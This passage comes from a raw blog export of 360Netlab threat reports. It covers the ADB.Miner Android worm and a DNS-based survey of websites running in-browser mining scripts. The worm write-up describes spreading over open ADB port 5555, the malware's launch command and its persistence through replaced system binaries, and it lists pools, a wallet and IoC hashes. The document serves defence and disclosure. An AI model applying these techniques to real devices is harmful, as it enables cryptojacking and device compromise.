另一个基于CoinHive的挖矿样本\n该样本是一个运行于Android环境的apk文件。其核心功能就是通过webview加载一个本地html网页文件挖矿。相关代码如下图所示：\n\n\n\n\n\n\n\n上述两图展示了恶意代码先后利用webview组建加载本地html页面，并通过被加载网页调用 coinhive 脚本挖矿。\n\n\n\n## IoC\n```\nbc84e86f8090f935e0f1fc04b04455c6\tbot.dat\ncd37d59f2aac9101715b28f2b28b7417\tbotsuinit_1_1.txt\n27c3e74b6ddf175c3827900fe06d63b3\tconfig.json\n412874e10fe6d7295ad7eb210da352a1\tdroidbot\n914082a04d6db5084a963e9f70fb4276\tdroidbot.apk\n9a10ba1d64a02ee308cd6479959d2db2\tnohup\n6a22c94d6e2a18acf2377c994d0186af\tsss\nac344c3accbbc4ee14db0e18f81c2c0d\txmrig32\ncc7775f1682d12ba4edb161824e5a0e4\txmrig64\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

90

post

2018-02-06T06:18:18.000Z

63873b9a8b1c1e0007f52f0e

adb-miner-more-information-en

2018-10-06T09:12:39.000Z

public

published

2018-02-06T09:29:39.000Z

ADB.Miner: More Information

<!--kg-card-begin: markdown--><p>This blog is a joint effort of <a href="http://blogs.360.cn/360mobile/">360 Beaconlab</a>, <a href="https://cert.360.cn">360 CERT</a>, <a href="http://shouji.360.cn/">360 MobileSafe</a>, <a href="https://twitter.com/360Netlab">360Netlab</a> and <a href="http://ti.360.net">360 Threat Intelligence Center</a>.</p> <h2 id="overview">Overview</h2> <p>About 48 hours ago, we reported an Android worm ADB.miner in our <a href="__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading-en/">previous blog</a>. This malware can replicate itself over Android devices by utilizing the opened ADB debugging interface. The spreading speed is quite fast, doubles about every 12 hours.</p> <p>Over the last 48 hours, we did more investigation on ADB.Miner. For now we have conclusions here for security community's reference:</p> <ol> <li> <p><strong>Infected population has stabilized currently</strong>: Since 2018-02-05 15:00, the daily active infected ip addresses reached the peak at 7,000, and remained stable for last 24 hours.</p> </li> <li> <p><strong>TV Boxes contribute part of the infected devices</strong>: All the infected devices are confirmed android based. Further analysis confirmed that part of them are TV boxes, but other devices are yet to be determined.</p> </li> <li> <p><strong>We rule out the possibility of remotely enabling the ADB debugging interface</strong> analysis. The 5555 adb interfaces of those devices have already been opened before infected. We have no idea about how and when this port was opened yet.</p> </li> </ol> <p>Most of the victims come from China(39%, including Hong Kong and Taiwan) and Korea (39%):</p> <p><img src="__GHOST_URL__/content/images/2018/02/infected_device_distribute.png" alt="" loading="lazy"></p> <h2 id="sampleanalysis">Sample Analysis</h2> <p>We captured 9 samples in total, and their core functions are worm like propagation and mining.</p> <ul> <li><strong>Worm infection</strong>: Infected device will initiate port scan on TCP 5555 adb interface, and attempt to execute ADB command to copy itself to newly infected machines.</li> <li><strong>XMR Mining</strong>: It will dig XMR tokens after infection.</li> </ul> <p>In addition, this worm borrows code from Mirai's syn scanning module for efficiency.</p> <p>The worm does not have a Command and Control server and gains all income through a single wallet address.</p> <p>The details of sample files are as follows:</p> <p><img src="__GHOST_URL__/content/images/2018/02/IOC_en-1.jpg" alt="" loading="lazy"></p> <h4 id="sssmainbody">SSS - Main body</h4> <p>SSS is the main body. After it is uploaded and called by <code>droidbot</code> through <code>nohup /data/local/tmp/sss</code>, it reads <code>bot.dat</code> and releases <code>droidbot</code>,<code>invoke.sh</code>, <code>ddexe</code>, <code>debuggerd</code> and <code>install-recovery.sh</code> to current directory. Then it will invoke the newly released <code>droidbot</code> to spread itself.</p> <p><img src="__GHOST_URL__/content/images/2018/02/sss_main_run.jpg" alt="" loading="lazy"></p> <h4 id="invokeshforpersistence">Invoke.sh - For Persistence</h4> <p><code>invoke.sh</code> persists the running of <code>droidbot</code> through replacing system programs. The replaced programs will launch droidbot additionally when executed. The three replaced files are:</p> <ul> <li>If /system/bin/ddexe exists, replace it with the released ddexe script</li> <li>If /system/bin/debuggerd exists, replace with the released debuggerd script;</li> <li>If /system/etc/install-recovery.sh exists, replace with the released install-recovery.sh script</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/invoke_sh_code.jpg" alt="" loading="lazy"></p> <h4 id="droidbotforwormpropagation">Droidbot - For Worm Propagation</h4> <p>The worm's <strong>propagation is implemented through droidbot</strong>. When it discovers those devices with port 5555 adb enabled, it will implant all the samples from local to the victim, through commands such as the <code>adb connect/adb push/adb shell</code>. Here is the screenshot:</p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_adbshell_1.jpg" alt="adb command prefix" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_adbshell_2.jpg" alt="adb command parameters" loading="lazy"></p> <p>The scan module <strong>borrows source code from Mirai</strong>:</p> <ol> <li> <p><strong>Mirai SYN Scan module</strong> is found inside this module to accelerate the port 5555 scan. The following figure highlights the code that constructs a random IP with a target port 5555.</p> </li> <li> <p>The <strong>code structure</strong> is also similar to Mirai.</p> </li> <li> <p>This module also contains <strong>Mirai string tables</strong>, which are weak passwords encrypted by Mirai's default key 0xdeadbeef. However, these weak passwords are <strong>NOT</strong> used in this worm.</p> </li> </ol> <p><img src="__GHOST_URL__/content/images/2018/02/mirai_code_1.jpg" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/02/mirai_code_2.jpg" alt="" loading="lazy"></p> <h4 id="xmrig32xmrig64configjsonforminingandtheconfigurations">Xmrig32/xmrig64/config.json - For Mining and the Configurations</h4> <p>Two Xmrig samples are for XMR Mining.</p> <p>The mining configuration is provided by the config.json file, as follows:</p> <p><img src="__GHOST_URL__/content/images/2018/02/config_json_screen.jpg" alt="" loading="lazy"></p> <p>The mining pools are</p> <ul> <li>pool.minexmr.com:7777</li> <li>pool.monero.hashvault.pro:5555</li> </ul> <p>And the wallet address:</p> <ul> <li>44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr</li> </ul> <h4 id="droidbotapkanotherminingsamplebasedoncoinhive">DROIDBOT.APK - Another Mining Sample Based on Coinhive</h4> <p>This sample is a apk file running in the Android environment. Its core function is using webview to load a local HTML page, which contains coinhive script to dig XMR tokens, as shown in the following two figures:</p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_webview_1.jpg" alt="Loading local HTML pages with WebView" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_webview_2.jpg" alt="The loaded Web page will invoke the Coinhive script to dig mine" loading="lazy"></p> <h2 id="ioc">IoC</h2> <pre><code>bc84e86f8090f935e0f1fc04b04455c6 bot.dat cd37d59f2aac9101715b28f2b28b7417 botsuinit_1_1.txt 27c3e74b6ddf175c3827900fe06d63b3 config.json 412874e10fe6d7295ad7eb210da352a1 droidbot 914082a04d6db5084a963e9f70fb4276 droidbot.apk 9a10ba1d64a02ee308cd6479959d2db2 nohup 6a22c94d6e2a18acf2377c994d0186af sss ac344c3accbbc4ee14db0e18f81c2c0d xmrig32 cc7775f1682d12ba4edb161824e5a0e4 xmrig64 </code></pre> <!--kg-card-end: markdown-->

This blog is a joint effort of 360 Beaconlab, 360 CERT, 360 MobileSafe, 360Netlab and 360 Threat Intelligence Center. Overview About 48 hours ago, we reported an Android worm ADB.miner in our previous blog. This malware can replicate itself over Android devices by utilizing the opened ADB debugging interface. The spreading speed is quite fast, doubles about every 12 hours. Over the last 48 hours, we did more investigation on ADB.Miner. For now we have conclusions here for security community's reference: 1. Infected population has stabilized currently: Since 2018-02-05 15:00, the daily active infected ip addresses reached the peak at 7,000, and remained stable for last 24 hours. 2. TV Boxes contribute part of the infected devices: All the infected devices are confirmed android based. Further analysis confirmed that part of them are TV boxes, but other devices are yet to be determined. 3. We rule out the possibility of remotely enabling the ADB debugging interface analysis. The 5555 adb interfaces of those devices have already been opened before infected. We have no idea about how and when this port was opened yet. Most of the victims come from China(39%, including Hong Kong and Taiwan) and Korea (39%): Sample Analysis We captured 9 samples in total, and their core functions are worm like propagation and mining. * Worm infection: Infected device will initiate port scan on TCP 5555 adb interface, and attempt to execute ADB command to copy itself to newly infected machines. * XMR Mining: It will dig XMR tokens after infection. In addition, this worm borrows code from Mirai's syn scanning module for efficiency. The worm does not have a Command and Control server and gains all income through a single wallet address. The details of sample files are as follows: SSS - Main body SSS is the main body. After it is uploaded and called by droidbot through nohup /data/local/tmp/sss, it reads bot.dat and releases droidbot,invoke.sh, ddexe, debuggerd and install-recovery.sh to current directory. Then it will invoke the newly released droidbot to spread itself. Invoke.sh - For Persistence invoke.sh persists the running of droidbot through replacing system programs. The replaced programs will launch droidbot additionally when executed. The three replaced files are: * If /system/bin/ddexe exists, replace it with the released ddexe script * If /system/bin/debuggerd exists, replace with the released debuggerd script; * If /system/etc/install-recovery.sh exists, replace with the released install-recovery.sh script Droidbot - For Worm Propagation The worm's propagation is implemented through droidbot. When it discovers those devices with port 5555 adb enabled, it will implant all the samples from local to the victim, through commands such as the adb connect/adb push/adb shell. Here is the screenshot: The scan module borrows source code from Mirai: 1. Mirai SYN Scan module is found inside this module to accelerate the port 5555 scan. The following figure highlights the code that constructs a random IP with a target port 5555. 2. The code structure is also similar to Mirai. 3. This module also contains Mirai string tables, which are weak passwords encrypted by Mirai's default key 0xdeadbeef. However, these weak passwords are NOT used in this worm. Xmrig32/xmrig64/config.json - For Mining and the Configurations Two Xmrig samples are for XMR Mining. The mining configuration is provided by the config.json file, as follows: The mining pools are * pool.minexmr.com:7777 * pool.monero.hashvault.pro:5555 And the wallet address: * 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr DROIDBOT.APK - Another Mining Sample Based on Coinhive This sample is a apk file running in the Android environment. Its core function is using webview to load a local HTML page, which contains coinhive script to dig XMR tokens, as shown in the following two figures: IoC bc84e86f8090f935e0f1fc04b04455c6 bot.dat cd37d59f2aac9101715b28f2b28b7417 botsuinit_1_1.txt 27c3e74b6ddf175c3827900fe06d63b3 config.json 412874e10fe6d7295ad7eb210da352a1 droidbot 914082a04d6db5084a963e9f70fb4276 droidbot.apk 9a10ba1d64a02ee308cd6479959d2db2 nohup 6a22c94d6e2a18acf2377c994d0186af sss ac344c3accbbc4ee14db0e18f81c2c0d xmrig32 cc7775f1682d12ba4edb161824e5a0e4 xmrig64

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This blog is a joint effort of [360 Beaconlab](http://blogs.360.cn/360mobile/), [360 CERT](https://cert.360.cn), [360 MobileSafe](http://shouji.360.cn/), [360Netlab](https://twitter.com/360Netlab) and [360 Threat Intelligence Center](http://ti.360.net).\n\n## Overview\n\nAbout 48 hours ago, we reported an Android worm ADB.miner in our [previous blog](__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading-en/). This malware can replicate itself over Android devices by utilizing the opened ADB debugging interface. The spreading speed is quite fast, doubles about every 12 hours.\n\nOver the last 48 hours, we did more investigation on ADB.Miner. For now we have conclusions here for security community's reference:\n\n\n 1. **Infected population has stabilized currently**: Since 2018-02-05 15:00, the daily active infected ip addresses reached the peak at 7,000, and remained stable for last 24 hours. \n\n 2. **TV Boxes contribute part of the infected devices**: All the infected devices are confirmed android based. Further analysis confirmed that part of them are TV boxes, but other devices are yet to be determined.\n\n 3. **We rule out the possibility of remotely enabling the ADB debugging interface** analysis. The 5555 adb interfaces of those devices have already been opened before infected. We have no idea about how and when this port was opened yet.\n\n\nMost of the victims come from China(39%, including Hong Kong and Taiwan) and Korea (39%):\n\n\n\n## Sample Analysis\n\nWe captured 9 samples in total, and their core functions are worm like propagation and mining.\n\n - **Worm infection**: Infected device will initiate port scan on TCP 5555 adb interface, and attempt to execute ADB command to copy itself to newly infected machines.\n - **XMR Mining**: It will dig XMR tokens after infection.\n\nIn addition, this worm borrows code from Mirai's syn scanning module for efficiency.\n\nThe worm does not have a Command and Control server and gains all income through a single wallet address. \n\nThe details of sample files are as follows:\n\n\n\n\n#### SSS - Main body\n\nSSS is the main body. After it is uploaded and called by `droidbot` through `nohup /data/local/tmp/sss`, it reads `bot.dat` and releases `droidbot`,`invoke.sh`, `ddexe`, `debuggerd` and `install-recovery.sh` to current directory. Then it will invoke the newly released `droidbot` to spread itself.\n\n\n\n\n#### Invoke.sh - For Persistence\n\n\n`invoke.sh` persists the running of `droidbot` through replacing system programs. The replaced programs will launch droidbot additionally when executed. The three replaced files are:\n\n\n* If /system/bin/ddexe exists, replace it with the released ddexe script\n* If /system/bin/debuggerd exists, replace with the released debuggerd script;\n* If /system/etc/install-recovery.sh exists, replace with the released install-recovery.sh script\n\n\n\n#### Droidbot - For Worm Propagation\n\nThe worm's **propagation is implemented through droidbot**. When it discovers those devices with port 5555 adb enabled, it will implant all the samples from local to the victim, through commands such as the `adb connect/adb push/adb shell`. Here is the screenshot:\n\n \n\n\n \n\n\nThe scan module **borrows source code from Mirai**:\n\n1. **Mirai SYN Scan module** is found inside this module to accelerate the port 5555 scan. The following figure highlights the code that constructs a random IP with a target port 5555. \n\n2. The **code structure** is also similar to Mirai.\n\n3. This module also contains **Mirai string tables**, which are weak passwords encrypted by Mirai's default key 0xdeadbeef. However, these weak passwords are **NOT** used in this worm.\n\n\n\n\n \n#### Xmrig32/xmrig64/config.json - For Mining and the Configurations\n\nTwo Xmrig samples are for XMR Mining.\n\nThe mining configuration is provided by the config.json file, as follows:\n\n\n\nThe mining pools are\n\n* pool.minexmr.com:7777 \n* pool.monero.hashvault.pro:5555\n\nAnd the wallet address:\n\n* 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr\n\n#### DROIDBOT.APK - Another Mining Sample Based on Coinhive \n\nThis sample is a apk file running in the Android environment. Its core function is using webview to load a local HTML page, which contains coinhive script to dig XMR tokens, as shown in the following two figures:\n\n\n\n\n\n\n\n## IoC\n```\nbc84e86f8090f935e0f1fc04b04455c6\tbot.dat\ncd37d59f2aac9101715b28f2b28b7417\tbotsuinit_1_1.txt\n27c3e74b6ddf175c3827900fe06d63b3\tconfig.json\n412874e10fe6d7295ad7eb210da352a1\tdroidbot\n914082a04d6db5084a963e9f70fb4276\tdroidbot.apk\n9a10ba1d64a02ee308cd6479959d2db2\tnohup\n6a22c94d6e2a18acf2377c994d0186af\tsss\nac344c3accbbc4ee14db0e18f81c2c0d\txmrig32\ncc7775f1682d12ba4edb161824e5a0e4\txmrig64\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

91

post

2018-02-07T02:34:43.000Z

63873b9a8b1c1e0007f52f0f

who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon

2018-10-06T09:03:20.000Z

public

published

2018-02-07T13:06:10.000Z

是谁悄悄偷走我的电（一）：利用DNSMon批量发现被挂挖矿代码的域名

<!--kg-card-begin: markdown--><p>在360网络安全研究院，我们持续的分析海量的DNS流量。基于此，我们建立了 DNSMon 检测系统，能够对 DNS 流量中的各种异常和关联关系予以分析。</p> <p>在之前的 <a href="__GHOST_URL__/openload-co-and-other-sites-are-mining-xmr-with-client-browser-without-coinhive/">文章</a> 中，我们提到了 openload.co 等网站利用Web页面挖矿的情况。在那之后，我们进一步<strong>利用 DNSMon 对整个互联网上网页挖矿进行分析</strong>，本文描述我们目前看到情况。</p> <p>当前我们可以看到：</p> <ul> <li><strong>0.2% 的网站在首页嵌入了Web挖矿代码</strong>：Alexa Top 10万的网站中，有 241 (0.24%) ；<br> Alexa Top 30万的网站中，有 629 (0.21%)</li> <li><strong>色情相关网站是主体</strong>，占据了这些网站的49%。其它还有诈骗（8%）、广告（7%）、挖矿（7%）、影视（6%）等类别</li> <li><strong>10+ 挖矿网站提供挖矿能力支撑</strong>，其中最大的是是 coinhive.com，占据了大约 57% 的份额，然后是 coin-hive.com (8%)、load.jsecoin.com (7%)、webmine.pro(4%)、authedmine.com (4%) 及其他</li> </ul> <p>当前网页挖矿已经成为一个市场，市场中的角色包括：</p> <ul> <li><strong>终端用户</strong>：当前他们的利益是被忽视的</li> <li><strong>挖矿网站</strong>：新玩家，提供网页挖矿脚本和能力</li> <li><strong>内容/流量网站</strong>：既有网站，有庞大的用户但缺少变现手段。现在他们将既往无利可图的流量导向挖矿网站，利用消费者的算力网页挖矿，完成变现。最近也开始有一些内容网站，他们自行搭建挖矿能力，肥水不留外人田。</li> </ul> <h4 id="600">600+ 内容/流量网站</h4> <p>在 Alexa Top30万 的站点中，通过验证他们的首页，我们可以确认当前有至少 628 个网站挂载了挖矿代码。我们把这些域名绘制了标签图如下，读者可以有一个直观印象。由于色情相关的特殊性，我们不会公布这些已知域名。</p> <p><img src="__GHOST_URL__/content/images/2018/02/keywords.png" alt="" loading="lazy"></p> <p>网站内容分类如下表所示：</p> <p><img src="__GHOST_URL__/content/images/2018/02/content-sites-by-category.png" alt="" loading="lazy"></p> <h4 id="10">10+ 挖矿网站</h4> <h6 id="">市场占有率排名</h6> <p>内容/流量网站汇聚了用户流量以后，会通过挖矿网站来变现。按照被内容网站使用数量统计，我们看到 2018-02-06 当天的Top 10 挖矿网站如下所示：</p> <p><img src="__GHOST_URL__/content/images/2018/02/mining-domain-usage.png" alt="" loading="lazy"></p> <p>值得一提的是，上表中尽管所有的挖矿网站被使用了728次，但所有的内容网站加起来只有 628 个，这是因为部分内容网站使用了 2 个或者更多的挖矿网站。在这个市场里，这是一种普遍的情况。</p> <h6 id="">挖矿网站家族</h6> <p>所有的挖矿网站之间，是可以汇聚到不同家族的。我们已知的挖矿网站家族包括：</p> <ul> <li><strong>coinhive</strong>: coinhive.com, coin-hive.com，以及系列网站</li> <li><strong>jsecoin</strong>: load.jsecoin.com</li> <li><strong>webmine</strong>: webmine.cz</li> <li><strong>cryptoloot</strong>: crypto-loot.com, cryptoloot.pro, webmine.pro以及系列网站</li> <li><strong>coinhave</strong>: coin-have.com, ws.cab217f6.space系列网站, api.cab217f6.space系列网站</li> </ul> <h6 id="">流量趋势</h6> <p>主要的挖矿网站 DNS 流量趋势如下图：</p> <p><img src="__GHOST_URL__/content/images/2018/02/web-miner-site-dns-traffic-1.png" alt="" loading="lazy"></p> <p>从图中我们可以看出：</p> <ul> <li><strong>市场开启于 2017-09</strong>，coin-hive.com 和 coinhive.com 先后于 2017-09-15 和 2017-09-28 开始有大量访问</li> <li><strong>市场在持续变大</strong>，在2017-10 和 2018-01 分别有两次大的提升</li> <li><strong>最大的玩家是 coinhive 家族</strong>，这与之前的观测一致。作为代表的 coinhive.com 网站流行度已经排入Top 2万</li> <li><strong>越来越多的挖矿网站供应商在进入这个市场</strong></li> </ul> <p>另外，最近我们开始观察到，coinhave 家族开始使用一些域名的冗余技术来将流量分散到类如6860c644.space等20个子站上，主站的流量在缩小。</p> <h6 id="">新玩家和新玩法</h6> <p>近期我们注意到一些新的玩法正在这个市场上出现：</p> <ul> <li><strong>广告商</strong>：有些网站的挖矿行为是广告商的外链引入的</li> <li><strong>壳链接</strong>：有的网站会使用一个“壳链接”来在源码中遮蔽挖矿站点的链接</li> <li><strong>短域名服务商</strong>：goobo.com.br 是一个巴西的短域名服务商，该网站主页，包括通过该服务生成的短域名，访问时都会加载coinhive的链接来挖矿</li> <li><strong>供应链污染</strong>：www.midijs.net 是一个基于 JS 的MIDI文件播放器，网站 <a href="http://www.midijs.net/lib/midi.js">源码</a> 中使用了 coinhive 来挖矿</li> <li><strong>自建矿池</strong>： 有人在 github 上开源了一段<a href="https://github.com/deepwn/deepMiner">代码</a>，可以用来自建矿池</li> <li><strong>用户知情的Web挖矿</strong>：authedmine.com 是新近出现的一个挖矿网站，网站宣称只有在用户明确知道并授权的情况下，才开始挖矿</li> </ul> <h4 id="dnsmon">使用 DNSMon 检测网页挖矿情况的原理和优点</h4> <p>以上展示了我们使用 DNSMon 监控网页挖矿的结果，其监控原理如下：</p> <ul> <li>当用户浏览器开打内容网站的网页，并随后立即访问了挖矿网站时，这两个域名的紧密关联关系会被 DNSMon 记录下来</li> <li>在这个案例中，通过对 coinhive.com 相关的网站观察，我们能够识别挖矿相关网站</li> <li>由于内容网站不时切换背后的挖矿网站，所有记录下来的域名就能够连接成一张网络，从而反映整个市场内的玩家情况</li> </ul> <p>使用 DNSMon 检测网页挖矿有以下优点和缺点：</p> <ul> <li>优点</li> <li>覆盖广</li> <li>准实时</li> <li>精度高</li> <li>可以利用域名关联网络，通过种子域名扩展发现新的可疑域名</li> <li>对链路劫持后的的支持，也好于传统网页扫描器</li> <li>缺点</li> <li>仅能反映域名之间关联，网页挖矿事实还需要使用其他手段确认</li> </ul> <p>总体而言，利用 DNSmon 系统，我们能够：</p> <ul> <li>批量发现可疑站点</li> <li>快速确定挖矿网站</li> <li>定位使用了代码变形、壳链接的挖矿网站。</li> </ul> <h4 id="">声明</h4> <p>本文中的标签图，使用 <a href="http://cloud.niucodata.com/">http://cloud.niucodata.com/</a> 制作</p> <!--kg-card-end: markdown-->

在360网络安全研究院，我们持续的分析海量的DNS流量。基于此，我们建立了 DNSMon 检测系统，能够对 DNS 流量中的各种异常和关联关系予以分析。 在之前的 文章 中，我们提到了 openload.co 等网站利用Web页面挖矿的情况。在那之后，我们进一步利用 DNSMon 对整个互联网上网页挖矿进行分析，本文描述我们目前看到情况。 当前我们可以看到： * 0.2% 的网站在首页嵌入了Web挖矿代码：Alexa Top 10万的网站中，有 241 (0.24%) ； Alexa Top 30万的网站中，有 629 (0.21%) * 色情相关网站是主体，占据了这些网站的49%。其它还有诈骗（8%）、广告（7%）、挖矿（7%）、影视（6%）等类别 * 10+ 挖矿网站提供挖矿能力支撑，其中最大的是是 coinhive.com，占据了大约 57% 的份额，然后是 coin-hive.com (8%)、load.jsecoin.com (7%)、webmine.pro(4%)、authedmine.com (4%) 及其他 当前网页挖矿已经成为一个市场，市场中的角色包括： * 终端用户：当前他们的利益是被忽视的 * 挖矿网站：新玩家，提供网页挖矿脚本和能力 * 内容/流量网站：既有网站，有庞大的用户但缺少变现手段。现在他们将既往无利可图的流量导向挖矿网站，利用消费者的算力网页挖矿，完成变现。最近也开始有一些内容网站，他们自行搭建挖矿能力，肥水不留外人田。 600+ 内容/流量网站 在 Alexa Top30万 的站点中，通过验证他们的首页，我们可以确认当前有至少 628 个网站挂载了挖矿代码。我们把这些域名绘制了标签图如下，读者可以有一个直观印象。由于色情相关的特殊性，我们不会公布这些已知域名。 网站内容分类如下表所示： 10+ 挖矿网站 市场占有率排名 内容/流量网站汇聚了用户流量以后，会通过挖矿网站来变现。按照被内容网站使用数量统计，我们看到 2018-02-06 当天的Top 10 挖矿网站如下所示： 值得一提的是，上表中尽管所有的挖矿网站被使用了728次，但所有的内容网站加起来只有 628 个，这是因为部分内容网站使用了 2 个或者更多的挖矿网站。在这个市场里，这是一种普遍的情况。 挖矿网站家族 所有的挖矿网站之间，是可以汇聚到不同家族的。我们已知的挖矿网站家族包括： * coinhive: coinhive.com, coin-hive.com，以及系列网站 * jsecoin: load.jsecoin.com * webmine: webmine.cz * cryptoloot: crypto-loot.com, cryptoloot.pro, webmine.pro以及系列网站 * coinhave: coin-have.com, ws.cab217f6.space系列网站, api.cab217f6.space系列网站 流量趋势 主要的挖矿网站 DNS 流量趋势如下图： 从图中我们可以看出： * 市场开启于 2017-09，coin-hive.com 和 coinhive.com 先后于 2017-09-15 和 2017-09-28 开始有大量访问 * 市场在持续变大，在2017-10 和 2018-01 分别有两次大的提升 * 最大的玩家是 coinhive 家族，这与之前的观测一致。作为代表的 coinhive.com 网站流行度已经排入Top 2万 * 越来越多的挖矿网站供应商在进入这个市场 另外，最近我们开始观察到，coinhave 家族开始使用一些域名的冗余技术来将流量分散到类如6860c644.space等20个子站上，主站的流量在缩小。 新玩家和新玩法 近期我们注意到一些新的玩法正在这个市场上出现： * 广告商：有些网站的挖矿行为是广告商的外链引入的 * 壳链接：有的网站会使用一个“壳链接”来在源码中遮蔽挖矿站点的链接 * 短域名服务商：goobo.com.br 是一个巴西的短域名服务商，该网站主页，包括通过该服务生成的短域名，访问时都会加载coinhive的链接来挖矿 * 供应链污染：www.midijs.net 是一个基于 JS 的MIDI文件播放器，网站 源码 中使用了 coinhive 来挖矿 * 自建矿池： 有人在 github 上开源了一段代码，可以用来自建矿池 * 用户知情的Web挖矿：authedmine.com 是新近出现的一个挖矿网站，网站宣称只有在用户明确知道并授权的情况下，才开始挖矿 使用 DNSMon 检测网页挖矿情况的原理和优点 以上展示了我们使用 DNSMon 监控网页挖矿的结果，其监控原理如下： * 当用户浏览器开打内容网站的网页，并随后立即访问了挖矿网站时，这两个域名的紧密关联关系会被 DNSMon 记录下来 * 在这个案例中，通过对 coinhive.com 相关的网站观察，我们能够识别挖矿相关网站 * 由于内容网站不时切换背后的挖矿网站，所有记录下来的域名就能够连接成一张网络，从而反映整个市场内的玩家情况 使用 DNSMon 检测网页挖矿有以下优点和缺点： * 优点 * 覆盖广 * 准实时 * 精度高 * 可以利用域名关联网络，通过种子域名扩展发现新的可疑域名 * 对链路劫持后的的支持，也好于传统网页扫描器 * 缺点 * 仅能反映域名之间关联，网页挖矿事实还需要使用其他手段确认 总体而言，利用 DNSmon 系统，我们能够： * 批量发现可疑站点 * 快速确定挖矿网站 * 定位使用了代码变形、壳链接的挖矿网站。 声明 本文中的标签图，使用 http://cloud.niucodata.com/ 制作

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"在360网络安全研究院，我们持续的分析海量的DNS流量。基于此，我们建立了 DNSMon 检测系统，能够对 DNS 流量中的各种异常和关联关系予以分析。\n\n在之前的 [文章](__GHOST_URL__/openload-co-and-other-sites-are-mining-xmr-with-client-browser-without-coinhive/) 中，我们提到了 openload.co 等网站利用Web页面挖矿的情况。在那之后，我们进一步**利用 DNSMon 对整个互联网上网页挖矿进行分析**，本文描述我们目前看到情况。\n\n当前我们可以看到：\n\n - **0.2% 的网站在首页嵌入了Web挖矿代码**：Alexa Top 10万的网站中，有 241 (0.24%) ；\nAlexa Top 30万的网站中，有 629 (0.21%) \n - **色情相关网站是主体**，占据了这些网站的49%。其它还有诈骗（8%）、广告（7%）、挖矿（7%）、影视（6%）等类别\n - **10+ 挖矿网站提供挖矿能力支撑**，其中最大的是是 coinhive.com，占据了大约 57% 的份额，然后是 coin-hive.com (8%)、load.jsecoin.com (7%)、webmine.pro(4%)、authedmine.com (4%) 及其他\n\n当前网页挖矿已经成为一个市场，市场中的角色包括：\n\n - **终端用户**：当前他们的利益是被忽视的\n - **挖矿网站**：新玩家，提供网页挖矿脚本和能力\n - **内容/流量网站**：既有网站，有庞大的用户但缺少变现手段。现在他们将既往无利可图的流量导向挖矿网站，利用消费者的算力网页挖矿，完成变现。最近也开始有一些内容网站，他们自行搭建挖矿能力，肥水不留外人田。\n\n\n\n#### 600+ 内容/流量网站\n\n在 Alexa Top30万 的站点中，通过验证他们的首页，我们可以确认当前有至少 628 个网站挂载了挖矿代码。我们把这些域名绘制了标签图如下，读者可以有一个直观印象。由于色情相关的特殊性，我们不会公布这些已知域名。\n\n\n\n网站内容分类如下表所示：\n\n\n\n\n#### 10+ 挖矿网站\n\n###### 市场占有率排名\n内容/流量网站汇聚了用户流量以后，会通过挖矿网站来变现。按照被内容网站使用数量统计，我们看到 2018-02-06 当天的Top 10 挖矿网站如下所示：\n\n\n\n值得一提的是，上表中尽管所有的挖矿网站被使用了728次，但所有的内容网站加起来只有 628 个，这是因为部分内容网站使用了 2 个或者更多的挖矿网站。在这个市场里，这是一种普遍的情况。\n\n###### 挖矿网站家族\n所有的挖矿网站之间，是可以汇聚到不同家族的。我们已知的挖矿网站家族包括：\n\n- **coinhive**: coinhive.com, coin-hive.com，以及系列网站\n- **jsecoin**: load.jsecoin.com\n- **webmine**: webmine.cz\n- **cryptoloot**: crypto-loot.com, cryptoloot.pro, webmine.pro以及系列网站\n- **coinhave**: coin-have.com, ws.cab217f6.space系列网站, api.cab217f6.space系列网站\n\n###### 流量趋势\n\n主要的挖矿网站 DNS 流量趋势如下图：\n\n\n\n从图中我们可以看出：\n\n - **市场开启于 2017-09**，coin-hive.com 和 coinhive.com 先后于 2017-09-15 和 2017-09-28 开始有大量访问\n - **市场在持续变大**，在2017-10 和 2018-01 分别有两次大的提升\n - **最大的玩家是 coinhive 家族**，这与之前的观测一致。作为代表的 coinhive.com 网站流行度已经排入Top 2万\n - **越来越多的挖矿网站供应商在进入这个市场**\n\n另外，最近我们开始观察到，coinhave 家族开始使用一些域名的冗余技术来将流量分散到类如6860c644.space等20个子站上，主站的流量在缩小。\n\n###### 新玩家和新玩法\n\n近期我们注意到一些新的玩法正在这个市场上出现：\n\n- **广告商**：有些网站的挖矿行为是广告商的外链引入的\n- **壳链接**：有的网站会使用一个“壳链接”来在源码中遮蔽挖矿站点的链接\n- **短域名服务商**：goobo.com.br 是一个巴西的短域名服务商，该网站主页，包括通过该服务生成的短域名，访问时都会加载coinhive的链接来挖矿\n- **供应链污染**：www.midijs.net 是一个基于 JS 的MIDI文件播放器，网站 [源码](http://www.midijs.net/lib/midi.js) 中使用了 coinhive 来挖矿\n- **自建矿池**： 有人在 github 上开源了一段[代码](https://github.com/deepwn/deepMiner)，可以用来自建矿池 \n- **用户知情的Web挖矿**：authedmine.com 是新近出现的一个挖矿网站，网站宣称只有在用户明确知道并授权的情况下，才开始挖矿\n\n#### 使用 DNSMon 检测网页挖矿情况的原理和优点\n\n以上展示了我们使用 DNSMon 监控网页挖矿的结果，其监控原理如下：\n\n - 